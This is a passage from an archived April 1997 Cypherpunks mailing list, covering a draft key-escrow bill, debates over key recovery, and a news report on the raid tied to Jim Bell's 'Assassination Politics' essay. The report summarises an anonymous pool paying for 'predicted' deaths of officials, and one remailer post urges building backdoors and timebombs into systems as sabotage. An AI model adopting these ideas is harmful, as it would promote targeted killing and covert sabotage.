     (11)  The term "public key" means for cryptographic systems that
use different keys for encryption and decryption, the key that is
intended to be publicly known.

     (12)  The term "public key certificate" means information about a
public key and its user, particularly including information that
identifies that public key with its user, which has been digitally
signed by the person issuing the public key certificate, using a private
key of the issuer.

     (13)  The term "Certificate Authority" means a person trusted by
one or more persons to create and assign public key certificates.

     (14)  The term "Key Recovery Agent" means a person trusted by one
or more persons to hold and maintain sufficient information to allow
access to the data or communications of the person or persons for whom
that information is held, and who holds and maintains that information
as a business or governmental practice, whether or not for profit.

     (15)  The term "recovery information" means keys or other
information provided to a Key Recovery Agent by a person, that can be
used to decrypt that person+s data and communications.

      (16)  The term "electronic information" includes but is not
limited to voice communications, texts, messages, recordings, images or
documents, in any electronic, electromagnetic, photoelectronic,
photooptical, or digitally encoded computerreadable form.

     (17)  The term "electronic communication" has the meaning given
such term in section 2510 (12) of title 18, United States Code.

     (18)  The term "wire communications" has the meaning given such
term in section 2510(1) of title 18, United States Code.

     (19)  The term "government" means the government of the United
States and any agency or instrumentality thereof, a State or political
subdivision of a State, the District of Columbia, or commonwealth,
territory, or possession of the United States.

     (20)  The term "cryptographic product" means any product
(including, but not limited to, hardware, firmware, or software, or some
combination thereof), that is designed, adapted, or configured to use a
cryptographic algorithm to protect or assure the integrity,
confidentiality and/or authenticity of information.

     (21)  The term "encryption product" means a cryptographic product
that can be used to encrypt or decrypt data.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 1 Apr 1997 05:05:28 -0800 (PST)
To: dcsb-announce@ai.mit.edu
Subject: DCSB April Meeting Cancelled
Message-ID: <v03020916af66ad5e507c@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


No, it's not an April Fool's joke. (Or, maybe it is, but it's not mine,
anyway.)

It's 07:19. The commuter rail isn't running. The busses aren't running. The
subways are only running where they're underground. Logan's closed and
won't open until 3 this afternoon, which means that Stewart Baker can't get
here to speak. And, finally, the Harvard Club, which is usually open at
this hour for breakfast, isn't answering the phone, which makes sense,
because the manager gave me his home number yesterday in case something
like this happened, and I called him just now, and *he's* still home. :-).

So, as they say in the movies, "Game over, man."

I think it'll probably be easier just to cancel this month's meeting, and,
if Mr. Baker wants to come some other time, we'll reschedule him -- and
reschedule our other speakers, if necessary, to accomodate him. If folks
really just want to delay the meeting and cobble together another program
later this week or next, we can of course discuss it on the dcsb list. I'm
sure the Club would love our revenue. :-).

So, let's talk about the money, shall we?

If you sent me a check for this meeting, and you plan on coming to the next
meeting, I'll hold it for next time. Just let me know. If you sent me a
check and you don't plan to come next time, I'd prefer to just tear up the
check rather than send it back (I probably don't have the envelope anymore,
anyway :-)). I'll send you a PGP signed confirmation of that fact, with the
check number. However, if *really* want me to send your check back, let me
know. Please remember to include your mailing address, so I know where to
send it back to.


Let me know if you have any other questions, and, see you next time!

Cheers,
Bob Hettinga
(Snowed in) Moderator,
The Digital Commerce Society of Boston





-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Laszlo Vecsey <master@internexus.net>
Date: Tue, 1 Apr 1997 05:38:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: multiple messages
Message-ID: <Pine.LNX.3.96.970401083448.3536A-100000@micro.internexus.net>
MIME-Version: 1.0
Content-Type: text/plain


Is it possible to have a single cyphertext decrypted into two valid
plaintexts? If two can be done (yielding 50% compression right there) 
perhaps more can as well.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 1 Apr 1997 07:03:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Sterling ConnectConceal
Message-ID: <v0302091faf66d376985a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



Fresh off the canary cage floor and InfoWorld.

Public key cryptography meets security through obscurity with single
private key /multiple user access.

SDKs only $2,500.

The ganglia twitch.

No, it's not an April Fool's joke.

<http://www.stercomm.com/>

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "B. Gates" <toto@sk.sympatico.ca>
Date: Tue, 1 Apr 1997 08:07:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free the Mice!
Message-ID: <334132DE.6C3B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/html

Title: Sympatico: Free Offer










Download a free mousepad.  

Except where free offers are prohibited by law. 
 






(c) MediaLinx Interactive, Limited Partnership
1997. 








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 1 Apr 1997 07:25:33 -0800 (PST)
To: Laszlo Vecsey <cypherpunks@toad.com
Subject: Re: multiple messages
In-Reply-To: <Pine.LNX.3.96.970401083448.3536A-100000@micro.internexus.net>
Message-ID: <3.0.1.32.19970401102556.007b6820@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:37 AM 4/1/97 -0500, Laszlo Vecsey wrote:
|Is it possible to have a single cyphertext decrypted into two valid
|plaintexts? If two can be done (yielding 50% compression right there) 
|perhaps more can as well.

If I understand you correctly,....

Nym servers when requested to "fixed size" documents to be forwarded may have
what appear (upon initial decryption) to be two messages in one package.

One RSA message -----BEGIN PGP MESSAGE----- lkflsd ----END PGP MESSAGE-----
is bundled with -----BEGIN GARBAGE MESSAGE----- dsujds ----END GARBAGE
MESSAGE----- both
within an IDEA encrypted message. One decrypts the IDEA message, deletes the
gargage, and uses his secret key to decrypt the PGP message.

Wiser folks will tell us if it is possible to have two true PGP messages in
one "bundle." I don't see why not.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0EpAiKJGkNBIH7lAQHgdQP/YBBvElIskjSXCC0ZMnoGUdwQAKEqonyg
iv5/TM11Aw98Vf9kAnTEKIqExY2eUozQmdPmapovpjlUol8oe3xNSQLbueBDmMA1
Wj2K79ak6fSta5vbG7wES4EbOGDRJ26dxX5VDndT5VDj5ARqbBdmjNdeTa+c3Ax/
RrTyfwcoDdM=
=0FaT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 1 Apr 1997 10:32:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199704011832.KAA11717@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: jim bell <jimbell@pacifier.com>
>Subject: Definition of AP?
>Reply-To: jim bell <jimbell@pacifier.com>
>To: cypherpunks@toad.com

>>Anonymous wrote:
>> Can you give me a definition/description of AP in a few concise lines?

>Probably.
>
>Ideally, it would capture the theory/purpose/methodology in terms that
>those unfamiliar with the concept could immediately understand.
>
>AP, considered generically, is a system which allows individuals and groups 
>of people to anonymously defend themselves from all types of agression, most
>peculiarly including agression tolerated or even done by governments.

Dear Mr. Bell:

We have been both pleased and relieved to note
that over the past several months you have used
the troublesome initials "AP" much less frequently
than has been your habit. 

This measurable improvement in your attitude
has considerably reduced the influx of damaging materials
into your files.

Today, however, it has been brought to our attention
that you took the opportunity to launch into an explanation
(relatively controlled, we hasten to say) of the
basic theory you have been propounding regarding AP.

More troublesome is the evidence that you, yourself,
posted the supposedly anonymous question to which you responded.

We sincerely hope that such felonious manipulation of e-mail traffic
and information does not indicate a return to your previous
unacceptable outbursts.

Knowing you have been attempting to "moderate" your posts,
we are certain you will accept our offer of 5 sessions
of Deep Tissue--Relaxation Therapy at the therapist of your
choice -- with whom we have been in contact.

Always hoping for the best, we remain,


The Bell Team
secserv@whitehouse.gov




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 1 Apr 1997 11:03:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Definition of AP?
Message-ID: <199704011903.LAA12861@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


>From: jim bell <jimbell@pacifier.com>
>Subject: Definition of AP?
>Reply-To: jim bell <jimbell@pacifier.com>
>To: cypherpunks@toad.com

>>Anonymous wrote:
>> Can you give me a definition/description of AP in a few concise lines?

>Probably.
>
>Ideally, it would capture the theory/purpose/methodology in terms that
>those unfamiliar with the concept could immediately understand.
>
>AP, considered generically, is a system which allows individuals and groups 
>of people to anonymously defend themselves from all types of agression, most
>peculiarly including agression tolerated or even done by governments.

Dear Mr. Bell:

We have been both pleased and relieved to note
that over the past several months you have used
the troublesome initials "AP" much less frequently
than has been your habit. 

This measurable improvement in your attitude
has considerably reduced the influx of damaging materials
into your files.

Today, however, it has been brought to our attention
that you took the opportunity to launch into an explanation
(relatively controlled, we hasten to say) of the
basic theory you have been propounding regarding AP.

More troublesome is the evidence that you, yourself,
posted the supposedly anonymous question to which you responded.

We sincerely hope that such felonious manipulation of e-mail traffic
and information does not indicate a return to your previous
unacceptable outbursts.

Knowing you have been attempting to "moderate" your posts,
we are certain you will accept our offer of 5 sessions
of Deep Tissue--Relaxation Therapy at the therapist of your
choice -- with whom we have been in contact.

Always hoping for the best, we remain,


The Bell Team
secserv@whitehouse.gov





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Tue, 1 Apr 1997 09:55:27 -0800 (PST)
To: cypherpunks@toad.com
Subject: Time Zone Change?
Message-ID: <33414C42.64CA@dev.null>
MIME-Version: 1.0
Content-Type: text/plain


Excerpt from Vancouver Sun:

> <snip>
>  If Ottawa goes ahead with the proposal, Newfoundland would no longer
> have their own special time zone, which is 30 minutes ahead of the
> standard Atlantic Time Zone used by their neighbors to the West.
>
>  Newfoundlanders, however, are expected to raise a great outcry over
> loss of their historical half-hour time zone, regardless of Ottawa's
> concerns over what they consider excessive cost for the benefits
> gained by Newfoundland's citizens.

-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@acm.org>
Date: Tue, 1 Apr 1997 12:22:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: [NOISE] labelling requirement in EDSA 1997
Message-ID: <33416EA3.51EA17A@acm.org>
MIME-Version: 1.0
Content-Type: text/plain


Cypherpunks,

   One of the more disturbing pieces of the Electronic Data Security Act
of 1997 is the requirement that encryption software be labelled as to
whether it uses Key Recovery Agents. While most cypherpunk-friendly
software will be proud to label itself as non-GAKked, it seems to me to
be fairly ominous, and is an important step towards banning non-GAK
crypto altogether.

   I think it would be cool to combine the labelling requirement with a
public relations campaign, not unlike the blue ribbon of last year.

   My proposal for the "no GAK" logo: a yellow star. To me, the
symbolism is pointed and poignant, but on the other hand it may come
dangerously close to invoking Godwin's law. If anyone else has any ideas
for a logo that would get the point across equally well but be a little
less controversial, I'd like to hear them.

Raph

P.S. My work on distributed key publication for the Internet is
progressing very well. I'll give an update at the next bay area meeting,
and there will be some UC Berkeley tech reports soon too. If my ideas
fly, they will make Key Recovery Agents moot for a lot of people.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 1 Apr 1997 12:12:18 -0800 (PST)
To: Jeff Barber <jeffb@issl.atl.hp.com>
Subject: Re: The Balloon is Going Up....criminalization of noncompliant crypto
In-Reply-To: <199704011812.NAA25259@jafar.issl.atl.hp.com>
Message-ID: <33416B67.73BD@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Jeff Barber wrote:

> The real problem is, as Hal notes, that CAs registered under the act
> can only create certificates if the corresponding private key is lodged
> with a registered KRA.
> 
> This proposal is a bald attempt to make a totally artificial linkage
> between a concept for which there is a good [or at least perceived good]
> business case -- officially registered CAs -- and one which the
> government desires but which has *no* business case: officially
> registered KRAs.  It's trying to make it seem that key recovery/escrow
> has something to do with key signing/certification when it patently
> does not.

   Do the words 'Gun Control' ring a bell?
   It seems that every time government announces its intention to
restrict 'criminals' use of an item, it is not long before everyone
using that item is considered a criminal.
 
  In the case of encryption, it will still be legal, but not if 
you use real bullets.
  Perhaps if enough people manage to circumvent forced key escrow
in the future, the government will pass a law requiring all crypto
products to force everybody to use the same password. (I can hardly
wait to see what reasoning they use to explain to us that it is for
our own protection.)
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 1 Apr 1997 14:24:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: hi-tech ROT-13
Message-ID: <199704012224.OAA19578@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Andy Dustman wrote:
> 
> The main problem I see with the various key-passing schemes is that they
> aren't useful if the receipient is cryptographically-challenged, which is
> why I'm presently inclined to stick with just the magic cookie exchange
> without crypto (unless the recipient can supply a PGP public key).

  Andy seems to realize something that many people don't, which is
that all of the cypherpunk discussions as to security, privacy and 
anonymity are just preaching to the converted unless the end result 
is a program that the average joe can actually use.

  I am personally GUI-challenged, but that is what most people know
and can actually work with. Even then, the average user doesn't know
enough about his or her system and software to do anything remotely
exotic to install it.
  What you or I might consider simplistic (e.g. changes to a config.sys
file), might be a journey onto dangerous ground for someone who may have
to pay someone $50.00/hr or more in order to get their machine running
again if something gets screwed up.
  The bottom line is that people want something that they halfway 
recognize and feel comfortable with, and is written to be self-
installable by someone who actually knows what the hell all those
things inside their computer do.

  I used to tell people, "I invented a pill that cures Alzheimer's,
but it doesn't do any good, because nobody remembers to take it."
  If the goal is to make anonymous remailers available to those 
who need them, then one must also consider the computer knowledge
and capabilities of those who have a genuine need for anonymity
for safety reasons.
  Assholes and the spammers will always take the time to learn what
they need to know to spread their bullshit, but what about people
who have a one or two-time legitimate need to pass information
along in saftey?

  Even though unencoded, direct use of an anonymous remailer is not
that complicated, many people today think that a command line is
"Sit, Rover, sit!" and if you ask them about syntax they look at
you funny and say they think they paid it when they bought the
condoms.
  Raph Levien's list of remailers is great, but he fails to give
simple instructions as to how to get remailer help/instructions
from different remailers.  And some of the remailers autobot help 
replies are rather vague even to those who know computers well.

  The Anonymous Nymserver <anon@anon.nymserver.com> was a great,
easy to use GUI interface that Jane Average could use, but it
seemed to be some kind of interesting programming project to 
its author, who folded at the first hint of trouble, expressing
great surprise that there are assholes in the world.
  After folding, his great concern seemed to be to find somebody
to buy his software, which he had just finished explaining would 
cause a great deal of grief to anyone who chose to run it.
(And if you act now, we'll stab you with the Amazing Ginzu knives!)
  Actually, however, he is still providing services for people
who pay a slight sum ($20/yr ??), so he is actually furthering
the spread of anonymous remailers, even if he is limiting them
in some ways.
  (I had no problem with him wanting some reimbursement for his
efforts in writing the software. It's just that he sounded like
he wanted someone to pay premium dollars for his learning curve
in order to buy his software so that they could run it as a
free service to others.)

  If remailers are to survive, then programs have to be written
that address the capabilities and morals of a new breed of user.
  Although I appreciate the efforts of many cypherpunks who 
originally had a hand in developing the remailer system, I am
not so naieve as to think it was all done merely for humanitarian
reasons, etc.
  The question is, now that many of the cypherpunks have moved on
to busier lives, and the programming details that were once "fun"
are now "work," are there still those who have a committment to 
advance the development of the remailers, at least partially as
a public service, or to encourage and help those who may not
have the expertise, but who are willing to learn?

  I have read complaints about the thanklessness of providing a
service that provides an avenue for abuse, with little indication
of actually providing essential privacy needs for those in genuine
need of security in anonymous communications. Yet those most in 
need of this type of service for legitimate anonymity may only
be a one-time user, and computer illiterate, unable to use anything
other than a GUI.
  If the cypherpunks want to wax eloquently about good intentions
then we must change the technology to enable those intentions to
come to fruitation in today's Net climate, or remailers will
go the way of the dinosaurs, being of use only to a few elite 
and a plethora of assholes.

  Although I have little expertise in the technical area surrounding
remailers, I do not take lightly my call for the remailer theorists
to actually walk their talk, and produce a product suitable for 
general use.  I have risked my physical freedom in the past in order
to bring information and knowledge to those in oppression, and will
likely do so again in the future.
  (As a matter of fact, one of the items which I risked life and limb
carrying into a fascist state was a cypherpunk product. Spooks who
get caught doing this get 'traded' back to the home team, but ordinary
citizens do not.)

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IRSNWPR@net.insp.irs.gov
Date: Wed, 2 Apr 1997 17:40:11 -0800 (PST)
To: Interested_Parties@net.insp.irs.gov
Subject: Something of interest...
Message-ID: <199704012018.PAA00555@net.insp.irs.gov>
MIME-Version: 1.0
Content-Type: text/plain


The Oregonian, Wednesday, April 2, 1997

20 armed federal agents raid home in Vancouver

- The occupant is investigated for an Internet essay he allegedly wrote on killing government 
officials




By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal
agencies in four states raided a Vancouver home Tuesday, apparently
looking for evidence of a plot to kill government officials.

Sources said James D. Bell, who reportedly lives with his elderly
parents at the home at 7214 Corregidor Road, was the subject of an
investigation involving an essay he allegedly wrote and circulated
on the Internet.  The essay promotes a way to win money by correctly
predicting the time of death of selected government agents.

The essay - "Assassination Politics" - has been the subject of both
serious discussion and pointed derision in Internet forums.  One critic
described it as "nothing more than a plan to commit murder for political
purposes."

Agents, guns drawn, boiled from a dozen-vehicle caravan before it
stopped rolling just after 9 a.m. and entered the McLoughlin Heights
neighborhood home to search it.  The FBI, Internal Revenue Service and
Bureau of Alcohol, Tobacco, and Firearms raiders were accompanied by
members of the Portland Police Bureau's bomb squad.

Bell, described in a federal document as armed and dangerous, was seen
chatting with agents outside the house after agents entered the home.
The raid reportedly was planned by the IRS Inspection office in Walnut
Creek, Calif., which does criminal investigations for the agency.

Most of the agents at the scene drove cars bearing Oregon plates.
Others had plates from Washington, California and Nevada.

The Internet essay speculates on a complicated procedure to kill
government agents who violate the "Non-Aggression Principle," which
was not explained.

The essay suggests creation of an organization that would manage a
list of people who "had seriously violated the NAP, but who would not
see justice in our courts due to the fact that their actions were
done at the behest of the government."

The essay mentions the federal agents involved in the Waco and Ruby
Ridge actions as examples.

Each name would have a dollar figure attached to it.  That amount-
received as contributions-would be awarded "for correctly `predicting'
the person's death, presumably naming the exact date," the essay says.
"Predictions" would go into a computer file, it says, then be encrypted.

The death-date prediction then would be delivered to the organization
by an untraceable method, such as putting it on a floppy computer disk
in code and mailing it.

In effect, the source said, when the pool got big enough someone
would kill the targeted person and collect the pool money by telling
beforehand when the target would die.

Agents at the scene refused to comment on the probable cause for the
search warrant, as did the IRS office in California and the
U.S. attorney's office in Seattle.

However, a source familiar with the investigation suggested that IRS
agents believed they are among the potential targets.

In March 1989, the house was raided as a suspected methamphetamine
lab, but drug agents found only a chemical used in making the drug.

James Bell was charged with manufacturing illicit drugs and possessing
phenyl acetic acid with intent to manufacture methamphetamine.  The
felonies were later dismissed, and Bell was allowed to plead guilty
to a misdemeanor and pay a $2,500 fine.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: IRS Inspection <irsnwpr@net.insp.irs.gov>
Date: Wed, 2 Apr 1997 17:57:15 -0800 (PST)
To: Interested_Parties@net.insp.irs.gov
Subject: Something of interest...
Message-ID: <199704012034.PAA00146@net.insp.irs.gov>
MIME-Version: 1.0
Content-Type: text/plain


The Oregonian, Wednesday, April 2, 1997

20 armed federal agents raid home in Vancouver

- The occupant is investigated for an Internet essay he allegedly wrote on killing government 
officials




By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal
agencies in four states raided a Vancouver home Tuesday, apparently
looking for evidence of a plot to kill government officials.

Sources said James D. Bell, who reportedly lives with his elderly
parents at the home at 7214 Corregidor Road, was the subject of an
investigation involving an essay he allegedly wrote and circulated
on the Internet.  The essay promotes a way to win money by correctly
predicting the time of death of selected government agents.

The essay - "Assassination Politics" - has been the subject of both
serious discussion and pointed derision in Internet forums.  One critic
described it as "nothing more than a plan to commit murder for political
purposes."

Agents, guns drawn, boiled from a dozen-vehicle caravan before it
stopped rolling just after 9 a.m. and entered the McLoughlin Heights
neighborhood home to search it.  The FBI, Internal Revenue Service and
Bureau of Alcohol, Tobacco, and Firearms raiders were accompanied by
members of the Portland Police Bureau's bomb squad.

Bell, described in a federal document as armed and dangerous, was seen
chatting with agents outside the house after agents entered the home.
The raid reportedly was planned by the IRS Inspection office in Walnut
Creek, Calif., which does criminal investigations for the agency.

Most of the agents at the scene drove cars bearing Oregon plates.
Others had plates from Washington, California and Nevada.

The Internet essay speculates on a complicated procedure to kill
government agents who violate the "Non-Aggression Principle," which
was not explained.

The essay suggests creation of an organization that would manage a
list of people who "had seriously violated the NAP, but who would not
see justice in our courts due to the fact that their actions were
done at the behest of the government."

The essay mentions the federal agents involved in the Waco and Ruby
Ridge actions as examples.

Each name would have a dollar figure attached to it.  That amount-
received as contributions-would be awarded "for correctly `predicting'
the person's death, presumably naming the exact date," the essay says.
"Predictions" would go into a computer file, it says, then be encrypted.

The death-date prediction then would be delivered to the organization
by an untraceable method, such as putting it on a floppy computer disk
in code and mailing it.

In effect, the source said, when the pool got big enough someone
would kill the targeted person and collect the pool money by telling
beforehand when the target would die.

Agents at the scene refused to comment on the probable cause for the
search warrant, as did the IRS office in California and the
U.S. attorney's office in Seattle.

However, a source familiar with the investigation suggested that IRS
agents believed they are among the potential targets.

In March 1989, the house was raided as a suspected methamphetamine
lab, but drug agents found only a chemical used in making the drug.

James Bell was charged with manufacturing illicit drugs and possessing
phenyl acetic acid with intent to manufacture methamphetamine.  The
felonies were later dismissed, and Bell was allowed to plead guilty
to a misdemeanor and pay a $2,500 fine.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 1 Apr 1997 15:45:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sabotaging Big Brother Inside Corporate Complicity
Message-ID: <199704012345.PAA23018@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Kent Crispin wrote:
> Owners of a business have the right to control the documents
> associated with their business as they see fit, including using key
> escrow and mandating it for all keys used by employees in the
> business.  Other companies see this as an opportunity to supply a
> service or a product that facilitates this management.  Both classes
> of companies are pursuing completely legitimate ends.  Therefore,
> your call to sabatoge is doomed to failure in the long run, and
> probably in the short run as well.

  And owners of a body and mind have a right to control the physical
and mental environment that they live in, including using any means
necessary to protect natural human rights that have been stolen by
governments and profited from by companies who will help promote
this theft for the right price.

  Tim's call to sabatoge is not doomed to failure as long as there
are still individuals who have a conscience (and know how to use it.)
  People asked to build a potential Nazi death camp should always
avail themselves of an option to build in a backdoor, in case the
need should ever arise to use it. Or build a timebomb in a tank
that can be activated if it is needed to destroy an advancing army
of oppressors.

  Like it or not, we live in a predatorial universe, where the
biggest carnivors make the 'rules' so that they get the lion's
share of the meat, and thus remain the largest in the pack.
  Each organism, however, has their own strengths and their own
methods of survival.
  Anyone who helps build the road to their own destruction, without
availing themselves of every opportunity to sabatoge construction
of that road, is a fool.

  The fact that a slave owner keeps his slaves well-fed and
comfortable enough to cause him little trouble does not negate
the fact that, when it better suits his purpose, he will use
the whip to keep others in subjection to him.
  The time to make preparations for safety and flight is not
after you are thrown in chains. The time is alwasy _now_.

  The fact is, there are many ways of preparing for future
action which infringe little or none on the rights of others
to act in their own best interest. Arming oneself to defend
against possible threats doesn't infringe on others rights
to defend themselves..
  Armed groups passing laws to prevent others from being
able to defend themselves does.

  No matter what lengths the government goes to to infringe
on basic human rights, there will always be individuals and
corporations fighting over who gets to profit from the actions,
all the while claiming, "We don't put them in the ovens, we
just turn on the gas."

  Do corporations have more rights than the citizens?
  That depends entirely on the citizens.
  
TruthMonger
"We have met the enemy, and he is Kent."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 1 Apr 1997 16:22:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Analysis of proposed UK ban on use of non-escrowed crypto.
Message-ID: <199704020022.QAA24113@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Kent Crispin dribbled syphlyrically:
 
> Like it or not, businesses like -- no, *need* -- key escrow -- company
> secrets can't go down the drain because someone gets hit by a truck.

  An exact quote from some of your earlier posts.
  Are you working from a cheat-sheet?
  Is someone _telling_ you what to say?
  Are they holding your kids hostage and _making_ you say this?
  Is it time for Big Brother to hire some fresh writers?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 1 Apr 1997 20:13:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: Key Recovery Agent Non-use Logo
Message-ID: <3.0.1.32.19970401195026.0062c8e0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3953.1071713690.multipart/mixed"

--Boundary..3953.1071713690.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

The proposed crypto law that the Administration is trying
to foist on CONgress includes the following wonderful provision:
>                 TITLE V -- OTHER KEY RECOVERY PROVISIONS
>SEC. 501.  LABELING OF ENCRYPTION PRODUCTS.
>(A)  Any person engaged in manufacturing, importing, packaging, 
>distributing or labeling of encryption products for purposes of sale or 
>distribution in the United States shall package and label them so as to 
>inform the user whether the products use Key Recovery Agents registered 
>under this Act for storage of recovery information, and whether such 
>products are authorized for use in transactions with the United States 
>Government, as specified in regulations promulgated by the Secretary.

Yes, that's right, if you're selling crypto products in the US,
if they talk Congress into passing this law, even if you're not
participating in the Key Recovery Agent program, you'll be required
to label your software to indicate whether or not you are.
To simplify this process, I've designed a logo* for non-users of the
Key Recovery Agency Program to put on their software.

	[*Ok, actually I ripped it off from Intel, but the
	Supreme Court says artistic parodies are legal :-)
	If a Real Artist wants to improve it, thanks! ]

The text of the proposal and the CDT's analysis can be found at:
	http://www.cdt.org/crypto/admin_397_draft.html
nokrap.gif



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)

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--Boundary..3953.1071713690.multipart/mixed--



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 1 Apr 1997 20:12:11 -0800 (PST)
To: Raph Levien <raph@acm.org>
Subject: Re: [NOISE] labelling requirement in EDSA 1997
In-Reply-To: <33416EA3.51EA17A@acm.org>
Message-ID: <3.0.1.32.19970401201114.00639090@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:22 PM 4/1/97 -0800, Raph Levien <raph@acm.org> wrote,
about a topic which I was also posting about

>   I think it would be cool to combine the labelling requirement with a
>public relations campaign, not unlike the blue ribbon of last year.
>   My proposal for the "no GAK" logo: a yellow star. To me, the
>symbolism is pointed and poignant, but on the other hand it may come
>dangerously close to invoking Godwin's law. If anyone else has any ideas
>for a logo that would get the point across equally well but be a little
>less controversial, I'd like to hear them.

I guess Raph's taking the high road while I'm taking the low road....

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 1 Apr 1997 17:39:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Book-entry settlement mechanism
Message-ID: <v03020962af676350a5a6@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga <rah@shipwright.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Tue, 1 Apr 1997 17:27:59 -0500
From: Robert Hettinga <rah@shipwright.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Re: Book-entry settlement mechanism

At 2:23 am -0500 on 4/1/97, Somebody wrote:


> I may have misunderstood some of your points but here goes..

I doubt you're misunderstanding anything, as I'm usually making this up as
I go along, anyway. :-).

So, let's see what we have, here...

> Your model assumes distributed settlement facilities provided by
> underwriters, issuers or transaction agents v the centralised model we have
> today.

Yes.

> One of the problems with today's model is that there are too many
> centralised agencies ie euroclear, dtc, local clearing systems which are
> proprietary, complicating global settlement processes unnecessarily.   Is
> distributed processing efficient?

*I* think so, if they all use the same cryptographic transaction protocols,
which is what I've been talking about all along, here. If a cryptographic
protocol breaks, the trade doesn't clear. I expect that settlement
protocols, like internet protocols, will be open and standardized. That
way, it doesn't matter who you're settling with, as long as long as their
reputation is good. That reputation can be a distributed one, with a
"reputation club", just like it is now. NASD membership, for instance, is a
good present example. In the model we're talking about, if your key is
signed by the club (association, syndicate, whatever) and not revoked,
you're a member in good standing, so you're trustworthy for various kinds
of transactions.

> If I am a hedge fund buying a global
> portfolio of stocks I do not want to have to settle individually with the
> underwriter/issuer of each stock I purchase.

See above. You get your information from different web sites, now, right?
No difference, to my mind.

> As you say, the underwriter
